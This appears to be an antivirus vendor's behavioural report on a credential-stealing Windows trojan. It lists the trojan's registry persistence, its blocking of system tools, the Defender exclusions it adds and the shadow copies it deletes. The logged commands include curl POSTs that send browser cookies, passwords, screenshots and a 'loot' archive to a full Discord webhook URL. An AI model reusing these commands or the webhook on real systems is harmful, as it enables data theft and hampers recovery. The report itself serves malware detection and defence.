Trojan.BadRabbit.50

To ensure autorun and distribution

Modifies the following registry keys

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsCryptoService' = '<Full path to file>'
[HKCU\Software\Classes\cmdfile\shell\open\command] '' = '"blocked"'
[HKCU\Software\Classes\batfile\shell\open\command] '' = '"blocked"'
[HKCU\Software\Classes\mshta_file\shell\open\command] '' = '"blocked"'
[HKCU\Software\Classes\Microsoft.PowerShellScript.1\shell\open\command] '' = '"blocked"'
[HKCU\Software\Classes\*\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\exefile\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\lnkfile\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\Folder\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\Directory\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\Drive\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\Applications\Explorer.exe\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\http\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\https\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\ftp\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.txt\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.doc\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.docx\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.xls\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.xlsx\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.ppt\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.pptx\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.pdf\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.jpg\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.jpeg\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.png\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.gif\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.bmp\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.tiff\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.svg\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.mp3\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.mp4\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.avi\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.mkv\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.mov\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.wav\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.flac\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.zip\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.rar\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.7z\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.tar\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.gz\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.iso\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.bat\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.cmd\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.ps1\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.vbs\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.js\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.wsh\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.html\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.htm\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.csv\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.xml\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.json\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.css\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.ini\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.cfg\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.log\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.rtf\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.odt\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.lnk\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.url\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.appref-ms\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.msi\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.msc\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.cpl\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.scr\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.com\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.pif\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.docm\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.xlsm\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.pptm\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.db\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.sqlite\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.mdb\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.exe\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.dll\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.sys\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.reg\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.py\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.rb\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.pl\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.php\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.java\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.c\shell\open\command] '' = '"<Full path to file>" "%1"'
[HKCU\Software\Classes\.cpp\shell\open\command] '' = '"<Full path to file>" "%1"'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.lnk

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)

modifies the following system settings:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewContextMenu' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuMorePrograms' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoChangeStartMenu' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoTrayContextMenu' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogOff' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'

deletes volume shadow copies.

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '<Current directory>'" 2>nul
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionProcess '<Full path to file>'" 2>nul

Executes the following

'<SYSTEM32>\taskkill.exe' /F /IM Taskmgr.exe
'<SYSTEM32>\taskkill.exe' /F /IM regedit.exe
'<SYSTEM32>\taskkill.exe' /F /IM msconfig.exe
'<SYSTEM32>\taskkill.exe' /F /IM rstrui.exe
'<SYSTEM32>\taskkill.exe' /F /IM cmd.exe
'<SYSTEM32>\taskkill.exe' /F /IM powershell.exe
'<SYSTEM32>\taskkill.exe' /F /IM pwsh.exe
'<SYSTEM32>\taskkill.exe' /F /IM msiexec.exe

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\cmd.exe

Reads files which store third party applications passwords

%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\microsoft\edge\user data\default\login data

Modifies file system

Creates the following files

nul
%TEMP%\s0ci0_tmp_ck.db
%TEMP%\s0ci0_tmp_pw.db
%TEMP%\s0ci0_tmp_ff.db
%TEMP%\s0ci0_tmp_ff.db-shm
%TEMP%\s0ci0_tmp_hist.db
%TEMP%\s0ci0\history\browsing_history.txt
%TEMP%\s0ci0_tmp_ffhist.db
%TEMP%\s0ci0_tmp_ffhist.db-shm
%TEMP%\s0ci0_e.json
%TEMP%\s0ci0\screenshot.png
%TEMP%\s0ci0_loot.zip

Sets the 'hidden' attribute to the following files

<Full path to file>

Deletes following files that it created itself

%TEMP%\s0ci0_tmp_ck.db
%TEMP%\s0ci0_tmp_pw.db
%TEMP%\s0ci0_tmp_ff.db
%TEMP%\s0ci0_tmp_hist.db
%TEMP%\s0ci0_tmp_ffhist.db
%TEMP%\s0ci0_e.json
%TEMP%\s0ci0_loot.zip
%TEMP%\s0ci0\history\browsing_history.txt
%TEMP%\s0ci0\screenshot.png

Substitutes the following files

%TEMP%\s0ci0_tmp_pw.db
%TEMP%\s0ci0_tmp_hist.db

Network activity

Connects to

'ap#.#pify.org':443
'di##ord.com':443

TCP

HTTP GET requests

http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?8a##############

Other

'ap#.#pify.org':443
'di##ord.com':443

UDP

DNS ASK ap#.#pify.org
DNS ASK di##ord.com

Miscellaneous

Searches for the following windows

ClassName: 'S0ci0Decrypt' WindowName: ''
ClassName: 'Shell_SecondaryTrayWnd' WindowName: ''
ClassName: 'Windows.UI.Core.CoreWindow' WindowName: ''
ClassName: 'XamlExplorerHostWindow' WindowName: ''
ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''
ClassName: '' WindowName: ''

Executes the following

'<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet 2>nul
'<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete 2>nul
'<SYSTEM32>\cmd.exe' /c attrib +h +s "<Full path to file>" 2>nul
'<SYSTEM32>\attrib.exe' +h +s "<Full path to file>"
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM Taskmgr.exe 2>nul
'<SYSTEM32>\curl.exe' -s https://api.ipify.org
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM regedit.exe 2>nul
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM msconfig.exe 2>nul
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM rstrui.exe 2>nul
'<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549113369066344549/5Sy2DcYFAFVx_k2DvvQcnqZkEsjxjn_19d6Modk6MfVFDXYy16KJSXxKdx1S9VjRxDS5" -H "Content-Type: application/json" -d @"%TEMP%\s0ci0_e.js...
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM cmd.exe 2>nul
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM powershell.exe 2>nul
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM pwsh.exe 2>nul
'<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549113369066344549/5Sy2DcYFAFVx_k2DvvQcnqZkEsjxjn_19d6Modk6MfVFDXYy16KJSXxKdx1S9VjRxDS5" -F "content=Screenshot" -F "files[0]=@%TEMP%\s0ci0\screens...
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM msiexec.exe 2>nul
'<SYSTEM32>\cmd.exe' /c systeminfo 2>nul | find "Boot Mode"
'<SYSTEM32>\systeminfo.exe'
'<SYSTEM32>\find.exe' "Boot Mode"
'<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\curl.exe" -s -o "%TEMP%\s0ci0\camera.jpg" http://127.0.0.1:8080/snapshot 2>&1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Compress-Archive -Path '%TEMP%\s0ci0\*' -DestinationPath '%TEMP%\s0ci0_loot.zip' -Force"
'<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549113369066344549/5Sy2DcYFAFVx_k2DvvQcnqZkEsjxjn_19d6Modk6MfVFDXYy16KJSXxKdx1S9VjRxDS5" -F "content=All cookies + passwords + loot" -F "files[0]=@...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '<Current directory>'" 2>nul' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionProcess '<Full path to file>'" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c attrib +h +s "<Full path to file>" 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM Taskmgr.exe 2>nul' (with hidden window)
'<SYSTEM32>\curl.exe' -s https://api.ipify.org' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM regedit.exe 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM msconfig.exe 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM rstrui.exe 2>nul' (with hidden window)
'<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549113369066344549/5Sy2DcYFAFVx_k2DvvQcnqZkEsjxjn_19d6Modk6MfVFDXYy16KJSXxKdx1S9VjRxDS5" -H "Content-Type: application/json" -d @"%TEMP%\s0ci0_e.js...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM cmd.exe 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM powershell.exe 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM pwsh.exe 2>nul' (with hidden window)
'<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549113369066344549/5Sy2DcYFAFVx_k2DvvQcnqZkEsjxjn_19d6Modk6MfVFDXYy16KJSXxKdx1S9VjRxDS5" -F "content=Screenshot" -F "files[0]=@%TEMP%\s0ci0\screens...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c taskkill /F /IM msiexec.exe 2>nul' (with hidden window)
'<SYSTEM32>\cmd.exe' /c systeminfo 2>nul | find "Boot Mode"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\curl.exe" -s -o "%TEMP%\s0ci0\camera.jpg" http://127.0.0.1:8080/snapshot 2>&1' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Compress-Archive -Path '%TEMP%\s0ci0\*' -DestinationPath '%TEMP%\s0ci0_loot.zip' -Force"' (with hidden window)
'<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549113369066344549/5Sy2DcYFAFVx_k2DvvQcnqZkEsjxjn_19d6Modk6MfVFDXYy16KJSXxKdx1S9VjRxDS5" -F "content=All cookies + passwords + loot" -F "files[0]=@...' (with hidden window)

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

Curing recommendations

Free trial